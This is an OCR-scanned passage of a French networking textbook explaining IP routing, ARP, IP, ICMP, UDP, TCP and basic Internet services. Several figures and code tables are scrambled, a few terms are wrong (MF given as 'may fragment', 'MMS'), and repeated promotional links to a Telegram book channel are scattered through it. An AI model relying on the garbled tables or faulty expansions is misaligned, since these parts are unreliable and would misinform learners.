IP. IP suppose que tout systéme est rattaché a un réseau local. Et un systéme
peut envoyer un datagramme a n’importe quel systéme de son propre réseau.
Dans le cas d’Ethernet, il suffit d’envoyer le datagramme sur le cable apres avoir
trouvé I’adresse Ethernet de la machine destinataire. Lorsqu’il s’agit d’envoyer un
datagramme sur un autre réseau, le probléme du routage est résolu par les passerelles
(gateways).

Une passerelle est un systéme qui connecte un réseau a un ou plusieurs autres
réseaux ; c’est souvent un ordinateur ayant plusieurs interfaces réseau. Pour illustrer
notre propos, prenons I’exemple d’une machine Unix avec deux interfaces Ethernet
connectées aux réseaux 193.95.20 et 193.95.21 : elle peut donc servir de passerelle
entre ces deux réseaux. Son logiciel doit étre configuré de maniére a pouvoir
transférer les datagrammes d’un réseau a l’autre, c’est-a-dire, si une machine du
réseau 193.95.20 envoie un datagramme a la passerelle pour une machine du réseau
193.95.21, cette passerelle devra transférer le datagramme sur le réseau 193.95.21.
Dans la plupart des cas on utilise des passerelles spécialisées pour des raisons de
performance et de fiabilité.

Le routage IP est entierement basé sur le numéro de réseau et sur I’adresse de
destination. Chaque ordinateur a une table de correspondance (table de routage)
entre numéros de réseaux et adresses des passerelles permettant de les atteindre. Une
passerelle n’a pas besoin d’étre connectée directement au réseau qu’elle a a atteindre.

Un ordinateur qui veut émettre un datagramme commence par Vérifier la
présence, sur son propre réseau, de I’adresse de destination. Si I’adresse y est ; le
datagramme est envoyé directement. Le cas échéant, il doit rechercher I’adresse
d’une passerelle, pour atteindre cet autre réseau, dans sa table de routage. Cette table
peut étre assez grosse, I’Internet, par exemple, et est composée de plusieurs
centaines de réseaux ; on doit donc développer plusieurs stratégies permettant de
réduire la taille de cette table.

Une de ces stratégies repose sur les routes par défaut (default routes) ; il n’y a
souvent qu’une seule passerelle permettant de sortir d’un réseau. On n’a donc pas
besoin, dans ce cas, d’une entrée pour tous les réseaux du monde : il suffit de définir
cette passerelle comme la route par défaut pour atteindre les réseaux extérieurs.
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Quand on ne trouve pas de route spécifique pour un datagramme, celui-ci est envoyé
a la passerelle par défaut. Dans le cas de plusieurs passerelles sur un réseau, on peut
utiliser également une passerelle par défaut.

Type de routage

La mise a jour des tables de routage peut s’avérer lourde car elles doivent étre
cohérentes entre les différents routeurs et la topologie du réseau. Aussi existe-t-il
deux types de routages : statique et dynamique.

Si les informations de routage sont entrées manuellement, a I’aide de commandes
en ligne, c’est le routage statique, et ces informations ne sont pas propagées entre
les routeurs.

Si par contre, les informations de routage sont propagées entre les routeurs a
I’aide d’un protocole comme RIP ou OSPF, on parle de routage dynamique.

1.2.7. Les protocoles ARP et RARP

Le protocole IP, ainsi que ses adresses, peuvent étre utilisés sur des architectures
matérielles différentes (réseau Ethernet, token-ring, etc.) ayant chacune sa propre
adresse physique. Il y a lieu d’établir des correspondances bi-univoques entre
adresses IP et adresses matérielles des ordinateurs d’un réseau. Ceci est I’objet des
protocoles ARP (address resolution protocol) et RARP (reverse address resolution
protocol). ARP fournit une correspondance dynamique entre une adresse IP connue
et I’adresse matérielle correspondante, RARP faisant I’inverse.

La technique utilisée par ARP consiste a :

— diffuser I’adresse IP sur le réseau physique ;

— identifier la machine d’adresse IP qui émet un message contenant son adresse
physique ;

— identifier les machines non concernées qui ne répondent pas ;

— mettre a jour le cache (mémoire) pour ne pas effectuer de requéte ARP a
chaque émission.

Pour connaitre I’adresse physique PB d’une machine B, a partir de son adresse
IP, en I’occurrence IB, une machine A diffuse une requéte ARP qui contient
I’adresse IB vers toutes les machines ; la machine B répond avec un message ARP
qui contient la paire d’information (1B, PB).
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Le cache ARP (tableau de correspondance en mémoire)

Pour un fonctionnement efficace de I’ARP, le maintien d’un cache ARP sur
chaque machine est essentiel. Ce cache maintient les correspondances entre les
adresses IP et les adresses matérielles récemment utilisées. Le délai normal
d’expiration d’une entrée dans le cache dépend du systeme d’exploitation.

La commande « ARP » permet d’examiner le contenu du cache ARP. L’option
-a permet d’afficher toutes les entrées.

Les adresses physiques Ethernet de 48 bits (MAC : media acesss control) sont
affichées sous la forme de six nombres hexadécimaux séparés par des « : ».

Dans ce qui suit, I’adresse matérielle cible correspond a I’adresse physique du
systeme cible.
Format du paquet ARP

La figure 1.9 décrit le format d’une requéte ARP ainsi qu’un paquet de réponses
ARP, lorsque ARP est utilisé sur Ethernet pour traiter une adresse IP. ARP est un
protocole suffisamment générique pour étre utilisé sur d’autres types de réseaux et
traiter des adresses autres que les adresses IP.

La requéte ARP est véhiculée dans un message protocolaire lui-méme encapsulé
dans la trame de liaison de données.

Figure 1.9. Format du paquet ARP

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

36 L’espionnage dans les réseaux TCP/IP

Le champ « type de matériel » spécifie le type d’adresse matérielle. Sa valeur est
égale a 1 pour Ethernet.

Le champ « type de protocole » spécifie le type d’adresse de protocole devant
étre translaté. Sa valeur est 0x0800 pour les adresses IP.

Les deux champs « longueur matériel » et « longueur protocole » indiquent les
tailles en octets des adresses matérielles et des adresses de protocoles. Pour une
requéte ou une réponse ARP et pour une adresse IP sur un Ethernet, ils contiennent
respectivement les valeurs 6 et 4.

Le champ « opération » indique si I’opération est une requéte ARP (une valeur
de 1), une réponse ARP (valeur 2), une requéte RARP (valeur 3), ou une réponse
RARP (valeur 4).

Les quatre champs suivants sont I’adresse matérielle de I’émetteur (une adresse
Ethernet dans cet exemple), I’adresse de protocole de I’émetteur (une adresse IP),
I’adresse matérielle cible, et I’adresse du protocole cible.

Pour une requéte ARP, tous les champs sont renseignés sauf I’adresse matérielle
cible. Lorsqu’un systeme regoit une requéte ARP qui lui est adressée, il remplit son
adresse matérielle, permute les deux adresses de I’émetteur avec les deux adresses
cibles, place la valeur 2 dans le champ « opération », puis envoie la réponse.

Proxy ARP

Proxy ARP permet a un routeur de gérer les requétes ARP adressées aux
machines d’un autre réseau. L’émetteur croit envoyer la requéte ARP a la machine
cible alors qu’il s’adresse en fait a un routeur qui fait le lien avec la véritable
machine de destination située, elle-méme, « de I’autre c6té » du routeur. Le routeur,
étant un simple filtre, agit alors comme un agent proxy. Il simule le comportement
de la machine de destination, et lui relaie des paquets venant des autres machines.

ARP gratuit

Une autre caractéristique de ARP est sa capacité a détecter la configuration
appelée « ARP gratuit ». Il intervient lorsqu’une machine envoie une requéte ARP
en cherchant sa propre adresse IP. Cela se passe généralement au démarrage de la
machine, lors de la configuration de I’interface.

ARP gratuit procure deux fonctionnalités.
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D’une part, il laisse a la machine la possibilité¢ de déterminer si une autre
machine est déja configurée avec la méme adresse IP. La machine émettrice du
paquet ARP gratuit n’attend pas de réponse a cette requéte (autrement dit, la réponse
n’est pas bloguante). Mais si une réponse est recue, un message d’erreur systéme
est affiché sur la console. Il s’agit d’un avertissement émis a I’intention de
I’administrateur du systéme, indiquant que I’un des systémes est mal configuré. Par
exemple, Windows XP affiche le message d’erreur suivant :

¥ Windows - Erreur systéme

Le systéme a détecté un conflit d'adresse IP avec un autre
systeme sur e réseau

D’autre part, si la machine envoyant I’ARP gratuit vient juste de changer
d’adresse matérielle, ce paquet provoque une mise a jour de I’entrée dans le cache
ARP pour chaque machine (connectée sur le cable) dont I’entrée du cache pointe sur
I’ancienne adresse matérielle. Si une machine recoit une requéte ARP pour une
adresse IP qui est déja dans le cache du récepteur, cette entrée dans le cache est mis
a jour avec I’adresse matérielle de I’émetteur (c’est-a-dire son adresse Ethernet)
contenue dans la requéte ARP. Ce traitement est effectué systématiquement pour
toutes les requétes ARP recgues par la machine.

1.2.8. Le protocole IP

Le protocole IP assure un service non fiable de délivrance des datagrammes IP.
Ce service est non fiable car il n’existe aucune garantie pour que les datagrammes IP
arrivent a destination. Certains peuvent étre perdus, dupliqués, retardés, altérés ou
remis dans le désordre. Ni I’émetteur ni le récepteur ne sont informés directement
par IP des problémes rencontrés. Le mode de transmission est non connecté car IP
traite chaque datagramme indépendamment de ceux qui le précedent et le suivent.
Ainsi, au moins deux datagrammes IP issus du méme chemin et ayant la méme
destination peuvent ne pas suivre obligatoirement le méme chemin.

Le protocole IP décrit trois normes importantes :

— une unité de données transférées dans les interconnexions IP. Elle décrit la
structure exacte de toutes les données qui transitent sur une connexion TCP/IP ;
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— une fonction de routage. Il s’agit la du choix du chemin d’acheminement ;
— un ensemble de régles concrétisant le concept de remise de paquets non

fiables, le traitement des erreurs et la condition de destruction de paquets.
1.2.8.1. Structure des datagrammes IP

Un datagramme IP est constitué de deux parties: un en-téte et une partie
données. La figure 1.10 détaille sa structure.

0 4 b4 16 19 24 31
Version |Longueur | Type de sewice (T05) | 1 gnguneur totale (en octets) |4
Taille
Identification Drapeaux Fragment offset Entéte-IP
= = 20 octets
Durée de vie (TTL) | Protocole Somme de controle d’en-téte Minimum,
et 60 octets
Adresse source IP Maximum

Adresse destination TP

Options IP (s’il ¥ en a) | Padding (Bourrage)

Données ‘ .-

Figure 1.10. Structure du datagramme IP

Le champ « version » code sur 4 bits le numéro de version du protocole IP utilisé
(la version courante est la 4, d’ou son nom d’IPv4).Tout logiciel IP doit d’abord
vérifier que le numéro de version du datagramme qu’il recoit est en accord avec lui-
méme. Si ce n’est pas le cas le datagramme est tout simplement rejeté.

Le champ « longueur d’en-téte » (header length, HLEN) représente sur 4 bits et
en nombre de mots de 32 bits, la longueur de I’en-téte du datagramme. Ce champ est
nécessaire car un en-téte peut avoir une taille supérieure a 20 octets (taille de I’en-
téte classique) pour permettre d’éventuelles options.

Le champ « type de services (type of service, TOS) » est codé sur 8 bits et
indique la maniére dont doit étre géré le datagramme. Il se subdivise en cing sous-
champs comme suit.

‘ Précédence | D | Tl R | Inutilisél

Précédence (3 hits) : elle définit la priorité du datagramme ; en général ignorée
par les machines et passerelles en cas de probléme de congestion. Ce champ varie de
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0 (priorité normale, valeur par défaut) a 7 (priorité maximale pour la supervision
du réseau).

Bits D, T, R: ils indiquent le type d’acheminement désiré du datagramme et
permettent a une passerelle de choisir entre plusieurs routes éventuelles : (D = délai
court, T = débit élevé et R = demande de grande fiabilité).

Le champ « longueur totale » contient la taille totale en octets du datagramme.
Mais comme ce champ est de 2 octets, la taille compléte d’un datagramme ne peut
excéder 65535 octets. Utilisée avec la longueur de I’en-téte, elle permet de
déterminer ol commencent exactement les données transportées.

Les champs « identification », « drapeaux » et « fragment offset » interviennent
dans le processus de fragmentation des datagrammes IP.

Le champ « durée de vie » (time-to-live, TTL) indique le nombre maximal de
routeurs que le datagramme peut traverser. Cette durée est initialisée, par la station
émettrice, & N (souvent 64 ou 128) et décrémentée de 1 par chaque routeur qui regoit
le datagramme. Lorsqu’un routeur regoit un datagramme dont la durée de vie est
nulle, il le détruit et envoie a I’expéditeur un message ICMP d’erreur.

Le champ « protocole » permet de coder le protocole le plus haut ayant servi a
créer ce datagramme. Les valeurs codées sur 8 bits sont par exemple 1 pour ICMP,
6 pour TCP et 17 pour UDP. Ainsi, la station destinatrice qui recoit un datagramme
IP est en mesure de diriger les données vers le protocole adéquat.

Le champ « somme de contrdle d’en-téte » (checksum) est calculé a partir de
I’en-téte du datagramme pour en assurer I’intégrité des données transportées. Ceci
est assuré directement par les protocoles ICMP, TCP et UDP qui les émettent.

Les deux champs «adresses sources IP» et «adresse destination IP »
contiennent sur 32 bits les adresses de la machine émettrice et destinataire finale du
datagramme.

Le champ final, le champ «options», est une liste de longueur variable
contenant des informations qui sont facultatives pour le datagramme. Les options
actuellement définies sont les suivantes :

— sécurité et gestion de restrictions (pour les applications militaires, voir la
référence dans la RFC 1108 pour les détails) ;

— enregistrement de la route (chaque routeur enregistre sa propre adresse IP) ;

— estampille horaire (timestamp) (chaque routeur enregistre sa propre adresse IP
et le temps) ;
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— routage peu strict de la source (en spécifiant une liste d’adresse IP que le
datagramme doit atteindre) ;

— routage strict de la source (similaire au routage précédent, mais ici seules les
adresses figurant dans la liste d’adresses peuvent traverser les routeurs).

Ces options sont rarement utilisées. Les adresses des champs options se
terminent toujours sur des frontieres de 32 bits. Des bits de bourrage de valeur 0 sont
ajoutés si nécessaire. Ceci assure que I’en-téte IP est toujours un multiple de 32 bits
(comme cela est requis pour le champ longueur d’en-téte).

1.2.8.2. Fragmentation des datagrammes

Chaque type de réseau physique autorise une certaine longueur de trame ; c’est le
MTU (maximum transport unit). Ainsi, pour Ethernet, le MTU autorisé est 1 500
octets, contre 2 044 pour une trame token-ring.

Pour des raisons de performances, il est interdit de réduire la taille des
datagrammes IP en fonction du plus petit dénominateur commun des différentes
trames physiques existantes. Lors du passage sur des réseaux ayant un MTU plus
faible, il faut donc procéder a la fragmentation du datagramme. La taille de chaque
fragment est choisie pour pouvoir étre encapsulée dans une seule trame de données.

Contr6le de la fragmentation du datagramme (figure 1.11) :

— le champ « identification » contient un entier unique identifiant le datagramme ;

— le champ « fragment offset » exprime en multiples de 8 octets I’offset de
données par rapport au datagramme initial et commence a zéro ;

— le champ « drapeaux » (flags) est codé sur trois bits. Les deux bits de poids
faible de ce champ servent a contréler la fragmentation :

- si le bit MF (may fragment) est positionné a 1, ceci signifie que d’autres
fragments vont suivre. S’il est positionné a 0, ceci signifie que le fragment courant
est le dernier fragment du segment,

- si le bit DF (don’t fragment) est positionné a 1, ceci signifie que le segment
ne peut pas étre fragmenté. S’il est positionné a 0, ceci signifie que le segment peut
étre fragmenté.

1 2 3
[ o |oF | MF |

Eit 2: (DF) 0= May Fragment, 1=Don’t Fragment
Bit 3: (MF) 0= Last Fragment, 1= More Fragment

Figure 1.11. Bits de contréle de la fragmentation du datagramme IP
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1.2.9. Le protocole ICMP

Le protocole ICMP (Internet control message protocol) organise un échange
d’informations permettant aux routeurs et aux machines d’envoyer des messages
d’erreur et de commande a d’autres ordinateurs ou routeurs. Ce protocole est décrit
dans la RFC n° 792. Bien qu’ICMP tourne au-dessus de IP, il est requis dans tous les
routeurs. C’est pour cette raison qu’il est placé dans la couche IP. Le but d’ICMP
n’est pas de fiabiliser le protocole IP, mais de fournir a la couche IP, ou a une
couche supérieure de protocole (TCP ou UDP), le compte rendu d’une erreur
détectée dans un routeur ou une machine.

Lors de son acheminement a I’intérieur d’un datagramme IP, comme illustré
figure 1.12, un message ICMP est susceptible, lui aussi, de générer des erreurs de
transmission. Dans ce cas, aucun message d’erreur ICMP ne sera généré suite a cette
nouvelle erreur pour éviter la congestion des systémes par une avalanche de
messages d’erreurs.

Datagramme IP

rYy
Yy

»>
L]

En-téte TP Message ICMP

[En-téte IP | Type| Code| Checksum | Contenu variable suivant le type de message |
20 octets

Figure 1.12. Encapsulation d’un message ICMP

1.2.9.1. Format des messages ICMP

Le format des messages ICMP est composé de trois champs invariants ;

Champ | Longueur | Réle

Type 8 bits Indique le type de message

Code 8 bits Informations supplémentaires sur le type de message

Checksum | 16 bits Contrdle de I’intégrité du message

Le champ type peut recevoir 15 valeurs pour spécifier les différences de nature
du message envoyé. Pour certains types, le champ code sert a préciser encore plus le
contexte d’émission du message. Le Checksum est une somme de controle de tout le
message ICMP. Le détail des différentes catégories de messages est donné dans les
deux tableaux suivants :
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N° type | Signification

0 Réponse d’écho

Destination inaccessible

Limitation de source (régulation du flux)

Changement de route

o o~ |w

Demande d’écho

11 Expiration de délai

12 Probléme de paramétre avec un datagramme

13 Demande d’estampille de temps

14 Réponse d’estampille de temps

15 Demande d’informations (périmé)

16 Réponse d’informations (périmé)

17 Demande de masque

18 Réponse de masque

Tableau 1.2. Les valeurs du champ Type

N° code | Signification

Réseau inaccessible

o

Machine inaccessible

Protocole inaccessible

Port inaccessible

Fragmentation requise et bit DF égal & 1

Echec de routage source

Réseau destination inconnue

Machine destination inconnue

Machine source isolée

O | o N oo |bh W IN|F

Interdiction administrative de dialogue avec le réseau demandé

[N
o

Interdiction administrative de dialogue avec la machine demandée

[
=

Réseau inaccessible pour le service demandé

[N
N

Machine inaccessible pour le service demandé

Tableau 1.3. Les valeurs du champ Code quand le champ type = 3

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

Réseaux locaux Ethernet et protocoles TCP/IP 43

Il existe deux types de messages ICMP, a savoir des messages de commandes et
des messages d’erreur. Ces messages ICMP rendent compte d’erreurs et renvoient
systématiquement les 64 premiers bits du datagramme fautif.
1.2.9.2. Format des messages ICMP de commande

Le format des messages ICMP de commande est :

Type Code Checksum

Identificateur Numéro de séquence

Données spécifiques...

Les champs « Identificateur » et « Numéro de séquence » sont utilisés par
I”’émetteur pour contréler les réponses aux requétes. Par exemple la commande d’écho
et réponse dont le champ Type est égale a 8 ou O respectivement, permet a une
machine ou passerelle de déterminer la validité d’un chemin sur le réseau. Le champ
de données spécifiques est composé de données optionnelles éventuelles de longueur
variable émises par la requéte d’écho et devant étre renvoyées par le destinataire. Cette
commande ICMP est utilisée par les outils applicatifs tels ping et Traceroute.

1.2.9.3. Format des messages ICMP d’erreur

Le format des messages ICMP d’erreur est :

Type ‘ Code ‘ Checksum

Spécifique

En-téte IP + les 64 bits du datagramme fautif

Le champ « Spécifique » est un champ de données spécifique au type d’erreur. Le
champ « En-téte IP + les 64 bits du datagramme fautif » contient I’en-téte IP en plus
des premiers 64 bits de données du datagramme pour lequel le message est émis.

Si par exemple, une passerelle détecte une boucle de routage ou un délai
excessivement long, elle procéde a la destruction du datagramme et expédie un
message du type suivant :

Type =11 ‘ Code =(0ou 1) ‘ Checksum
Tout & zéro
En-téte IP + les 64 bits du datagramme fautif
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Si le code est égal a :
0 : laraison en est que la durée de vie a expiré ;
1: c’est que la durée de ré-assemblage des fragments a expiré.

1.2.10. Le modéle client-serveur

La plupart des applications réseau sont écrites en supposant qu’un coté se
comporte comme un client, et I’autre comme un serveur. La partie serveur de
I’application a pour fonction de procurer des services définis pour les clients.

Nous pouvons cataloguer les serveurs en deux classes : itératifs ou concurrents.
Un serveur itératif déroule la séquence suivante :

ALl. attendre I’arrivée d’une requéte émise par un client ;
A2. exécuter la requéte du client ;

A3. retourner la réponse au client qui a émis la requéte ;
A4. retourner a la phase Al.

Ce mode de fonctionnement itératif pose probléme lorsque la phase A2 prend du
temps. Durant ce laps de temps, aucun autre client ne peut étre servi.

Un serveur concurrent, en revanche, adopte le fonctionnement suivant ;
CL1. attendre I’arrivée d’une requéte émise par un client ;

C2. démarrer un nouveau serveur pour traiter la requéte du client. Ceci peut
impliquer la création d’un nouveau processus ou d’une nouvelle tache, ce qui
dépend du systéme d’exploitation utilisé ;

C3. retourner a la phase C1.

L’avantage d’un serveur concurrent réside dans le fait qu’il est capable de lancer

d’autres serveurs pour servir les requétes clientes. Chaque client a par définition, son
propre serveur.

Les serveurs sont catalogués plutdét que les clients car en principe, un client ne
peut pas savoir s’il dialogue avec un serveur itératif ou un serveur concurrent.

De fagon générale, les serveurs TCP sont concurrents, et les serveurs UDP sont
itératifs. Dans les deux paragraphes suivants, des exemples de serveurs UDP et TCP
seront présentés.
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1.2.11. Le protocole UDP

Le protocole UDP (RFC n° 768) utilise IP pour acheminer, d’un ordinateur a un
autre, en mode non faible, des datagrammes qui lui sont transmis par une
application. 1l est situé au-dessus de IP. Le controle d’intégrité des données
transmises est a la charge de I’application utilisant les services d’UDP.

UDP n’utilise pas d’accusé de réception et ne peut par conséquent garantir la
bonne réception des données. Il ne restitue pas les messages qui n’arrivent pas dans
I’ordre de leur émission et il n’assure pas non plus le controle du flux. Il se peut
donc que le récepteur ne soit pas apte a faire face au flux de datagrammes qui lui
arrivent. C’est donc a I’application qui utilise UDP de gérer les problémes de perte
de messages, de duplications, de retards, de séquencements, etc.

Cependant, UDP fournit un service supplémentaire par rapport a IP. 1l permet de
distinguer plusieurs applications destinataires sur la méme machine par
I’intermédiaire des ports. Un port est une destination abstraite sur une machine
identifiée par un numéro qui sert d’interface a I’application pour recevoir et émettre
des données, figure 1.13. L’application web/80/TCP, par exemple, utilise le port 80
et le protocole TCP.

Pour transmettre un message d’une application a une autre, un numéro de port
doit étre identifié. Les ports dont les numéros sont inférieurs a 1024 sont des ports
standard et sont affectés a des applications ou services connus. Par exemple, le
numéro affecté au service Telnet est 23. Ces ports définis sont appelés « ports
affectés ». Les ports dont les numéros sont supérieurs a 1023 peuvent étre assignés
dynamiquement aux applications.

1 <= Ports serveur < 1024 & 1024 <= Ports client <= 65535
Machine A Machine B

, a
1056 1067 21

[T TT IT 1T [T 1]
TCP - UDP TCP-UDP

IP IP

| Réseau physique ‘

Figure 1.13. Identification des applications : notions de ports
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Chaque datagramme émis par UDP est encapsulé dans un datagramme IP en y
fixant la valeur du protocole a 17. Le format détaillé d’un datagramme UDP contient
deux parties : une partie en-téte UDP, et une partie données :

Port UDP source Port UDP destination
Longueur du message UDP Checksum
Données...

Les numéros de port (chacun sur 16 bits) identifient les processus émetteur et
récepteur. Le champ longueur contient, sur 2 octets, la taille de I’en-téte et des
données transmises. Puisqu’un datagramme UDP peut ne transmettre aucune
donnée, la valeur minimale de la longueur est 8. Le checksum est un total de
controle qui est optionnel car il n’est pas indispensable lorsque UDP est utilisé sur
un réseau tres fiable. S’il est fixé a 0 c’est qu’en fait il n’a pas été calculé.

Le tableau 1.4 présente quelques ports UDP standard.

N° du port Mot-clé Description

7 ECHO Echo

11 USERS Active users

13 DAYTIME Daytime

53 DOMAIN Domain name server

67 BOOTPS Boot protocol server

68 BOOTPC Boot protocol client

69 TFTP Trivial file transfert protocol

Tableau 1.4. Exemples de ports UDP standard

1.2.12. Le protocole TCP

Contrairement & UDP, TCP est un protocole qui procure un service de flux
d’octets orienté connexion fiable. Les données transmises par TCP sont encapsulées
dans des datagrammes IP en y fixant la valeur du protocole a 6.

Le terme orienté connexion signifie que les applications dialoguant a travers
TCP sont considérées I’une comme un serveur, I’autre comme un client, et qu’elles
doivent établir une connexion avant de pouvoir dialoguer. Il y a donc exactement
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deux extrémités communiquant I’une avec I’autre sur une connexion TCP. Cette
connexion est bidirectionnelle simultanée (full duplex) et composée de deux flots de
données indépendants et de sens contraire. Les données n’étant pas interprétées par
TCP, c’est donc aux applications d’extrémité de gérer la structure du flot de
données.

La fiabilité fournie par TCP consiste a remettre des datagrammes, sans perte, ni
duplication, alors méme qu’il utilise IP qui, lui, est un protocole de remise non
fiable. Ceci est réalisé a I’aide de la technique générale de I’accusé de réception
(Ack) présentée de maniere simplifiée figure 1.14.

Source Réseau Destination

Emission de Mi
Temporisatioh
armée

Mi n‘est pas regu
Ai non envoyé

Ai n’est pas regu

Tempo. echue
Réemission de Mi

Emission de Ai

-
-
-
P
\ Réception de Mi

Réception de Ai

Figure 1.14. Technique de I’accusé de réception (Ack)
Mi = message ; Ai = accuse de réception

Chaque segment est émis avec un numéro qui sert au récepteur a renvoyer un
accusé de réception. Ainsi I’émetteur sait si I’information qu’il voulait transmettre
est bien parvenue a destination. De plus, a chaque envoi de segment, I’émetteur
arme une temporisation qui lui sert de délai d’attente de I’accusé de réception
correspondant & ce segment. Lorsque la temporisation expire sans qu’il ait recu
d’Ack, I’émetteur considére que le segment est perdu et il I’expédie de nouveau.
Mais, a la suite d’un engorgement de réseau ou d’une perte de I’accusé de réception
correspondant, il arrive que la temporisation expire alors que le segment passe sans
probléme. Dans ce cas, I’émetteur réexpédie le segment censé perdu, mais le
récepteur garde trace des numéros de segments recus, et est capable de faire la
distinction et d’éliminer les doublons.
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1.2.12.1. Principe de la fenétre glissante

Si I’émetteur est obligé d’attendre un accusé avant d’émettre le paquet suivant, il
va en découler une perte d’efficacité importante. La « fenétre glissante » est prévue
a cet effet pour réduire cette perte de temps.

L’émetteur peut envoyer un petit nombre de paquets avant d’étre contraint
d’attendre I’accusé de réception du premier d’entre eux (figure 1.15).

Fenétre courante

o

Fenétre
utilizable

12 314 5§ 6 7:8 910 11 12..

—
Octets mis OCt,\Etts
Bt acquites ey prets Octets bloqués

et non acquites

Figure 1.15. Fenétre glissante

Plus la dimension de la « fenétre » est importante, plus le débit peut étre élevé,
jusqu’a saturation du réseau. Les performances en sont d’autant plus améliorées car
la bande passante est alors mieux exploitée.

1.2.12.2. Format du segment TCP

0 4 10 16 24 N
Port source | Port destination

Numéro de séquence

Numeéro d’acquittement En:teteTer

HLEN [Reserve | Codes Fenatre S
minimum
Checksum Pointeur urgence
Options éventuelles Padding
Données . ..

Figure 1.16. Format de I’en-téte TCP
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Les flots de données sont pergus par TCP comme des séquences d’octets divisées
en segments. En principe, chaque segment est transmis dans un seul datagramme. La
figure 1.16 donne le format de I’en-téte d’un segment TCP qui sert aux trois
fonctionnalités de TCP : établir une connexion, transférer des données et libérer une
connexion.

L’en-téte, sans option, d’un segment TCP a une taille totale de 20 octets et se
compose des champs suivants :

— le port source et le port destination identifient les applications émettrices et
réceptrices. En les associant aux adresses IP sources et destination du datagramme
IP qui transporte un segment TCP, on parvient a identifier de maniére univoque
chaque connexion ;

— le numéro de séquence donne la position du segment dans le flux de données
envoyées par I’émetteur ; c’est-a-dire la place dans ce flux du premier octet de
données transmis dans ce segment ;

— le numéro d’accuseé de réception contient le numéro de séquence suivant que le
récepteur s’attend a recevoir ; c’est-a-dire le numéro de séquence du dernier octet
recu avec succes plus 1 ;

— la longueur d’en-téte contient, sur 4 bits, la taille de I’en-téte, y compris les
options présentes, codée en multiple de 4 octets. Ainsi, un en-téte peut avoir une
taille variant de 20 octets (aucune option) a 60 octets (maximum d’options) ;

— le champ « réservé » comporte 6 bits réservés a un usage ultérieur ;

— les 6 champs bits de code qui suivent permettent de spécifier le réle et le
contenu du segment TCP. La signification de chaque bit, quand il est fixé a 1, est
comme suit :

Urg, le pointeur de données urgentes est valide,

Ack, le champ d’accusé de réception est valide,

Psh, ce segment requiert un push,

Rst, réinitialiser la connexion,

Syn, synchroniser les numéros de séquence pour initialiser une connexion,

Fin, I’émetteur a atteint la fin de son flot de données ;

— la taille de fenétre est un champ de 16 bits qui sert au contr6le de flux selon la
méthode de la fenétre glissante. Il indique le nombre d’octets (moins de 65 535) que
le récepteur est prét a accepter. Ainsi I’émetteur augmente ou diminue son flux de
données en fonction de la valeur de cette fenétre qu’il regoit ;
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— le champ « checksum » est un total de contréle sur 16 bits utilisé pour vérifier
la validité de I’en-téte et des données transmises ;

— le pointeur d’urgence est un offset positif qui, ajouté au numéro de séquence du
segment, indique le numéro du dernier octet des données urgentes. Le bit Urg doit
nécessairement &tre positionné a 1 afin d’indiquer les données urgentes que le
récepteur TCP doit passer le plus rapidement possible a I’application associée a la
connexion ;

— I’option la plus couramment utilisée est celle de la taille maximale du segment
TCP qu’une extrémité de la connexion souhaite recevoir. Lors de I’établissement de
la connexion, les deux parties négocient la taille maximale de segment (MMS,
maximale segment size).

1.2.12.3. Etablissement d’une connexion TCP

La connexion débute a I’aide d’une ségquence de synchronisation et d’émission
d’accusés. La connexion est établie en trois temps de maniére a assurer la
synchronisation nécessaire entre les extrémités (figure 1.17).

Source Destination

Syn seq =x

Syn seq =y,
Ack = x+1

Ack = yH1

/N\/

Figure 1.17. Etablissement d’une connexion TCP

Ce processus permet d’assurer que les deux extrémités de la connexion sont prétes
a émettre et a recevoir des données. Il initialise également le numéro de séquence.

Le tableau 1.5 présente quelques ports TCP standard.
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N° du Port | Mot-clé Description
20 FTP-DATA | File transfer protocol [default data]
21 FTP File transfer protocol [control]
23 TELNET | Telnet
25 SMTP Simple mail transfer protocol
80 HTTP Hypertext transfer protocol, www
110 POP3 Post office protocol version 3

Tableau 1.5. Exemples de ports TCP standard

1.2.13. Les services Internet

1.2.13.1. Le protocole HTTP

Le protocole HTTP (hypertext transfer protocol) est le protocole le plus utilisé
sur Internet depuis 1990. La version 0.9 était uniquement destinée a transférer des
données sur Internet (en particulier des pages web écrites en HTML). La version 1.0
du protocole (la plus utilisée) permet désormais de transférer des messages avec des
en-tétes décrivant le contenu du message.

Le but du protocole HTTP est de permettre un transfert de fichiers
(essentiellement au format HTML) localisés grace a une chaine de caracteres
appelée URL entre un navigateur (le client) et un serveur web (appelé d’ailleurs
httpd sur les machines Unix).

Le protocole HTTP fonctionne grace a des commandes textuelles envoyées au
serveur web (par défaut sur le port 80).

1.2.13.2. Le protocole FTP

Le protocole FTP (file transfer protocol) est, comme son nom I’indique, un
protocole de transfert de fichier.

La mise en place du protocole FTP date de 1971, date a laquelle un mécanisme
de transfert de fichiers (décrit dans le RFC 141) entre les machines du MIT
(Massachusetts Institute of Technology) avait été mis au point. De nombreux RFC
ont ensuite apporté des améliorations au protocole de base, mais les plus grandes
innovations datent de juillet 1973.
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Le protocole FTP s’inscrit dans un modeéle client-serveur, c’est-a-dire qu’une
machine envoie des ordres (le client) et que I’autre attend des requétes pour
effectuer des actions (le serveur).

Le protocole FTP définit la fagon selon laquelle des données doivent étre
transférées sur un réseau TCP/IP. Il a pour objectifs de :

— permettre un partage de fichiers entre machines distantes ;

— permettre une indépendance aux systémes de fichiers des machines clientes et
serveurs ;

— permettre de transférer des données de maniere efficace.

Lors d’une connexion FTP, deux canaux de transmission sont ouverts :
— un canal pour les commandes (canal de contréle) fonctionnant sur le port 21 ;
— un canal pour les données fonctionnant sur le port 20 ou sur un port supérieur a 1023.

1.2.13.3. Le courrier électronique

Le courrier électronique est considéré comme étant I’un des services les plus
utilisés sur Internet. La suite de protocoles TCP/IP offre une panoplie de protocoles
permettant de gérer facilement le routage du courrier sur le réseau.

Le protocole SMTP

Le protocole SMTP (simple mail transfer protocol) est le protocole standard
permettant de transférer le courrier d’un serveur a un autre en connexion point a
point.

Il s’agit d’un protocole fonctionnant en mode connecté, encapsulé dans une
trame TCP/IP. Le courrier est remis directement au serveur de courrier du
destinataire. Le protocole SMTP fonctionne grace a des commandes textuelles
envoyées au serveur SMTP (par défaut sur le port 25). Chacune des commandes
envoyées par le client est suivie d’une réponse du serveur SMTP composée d’un
numéro et d’un message descriptif.

Le protocole POP3

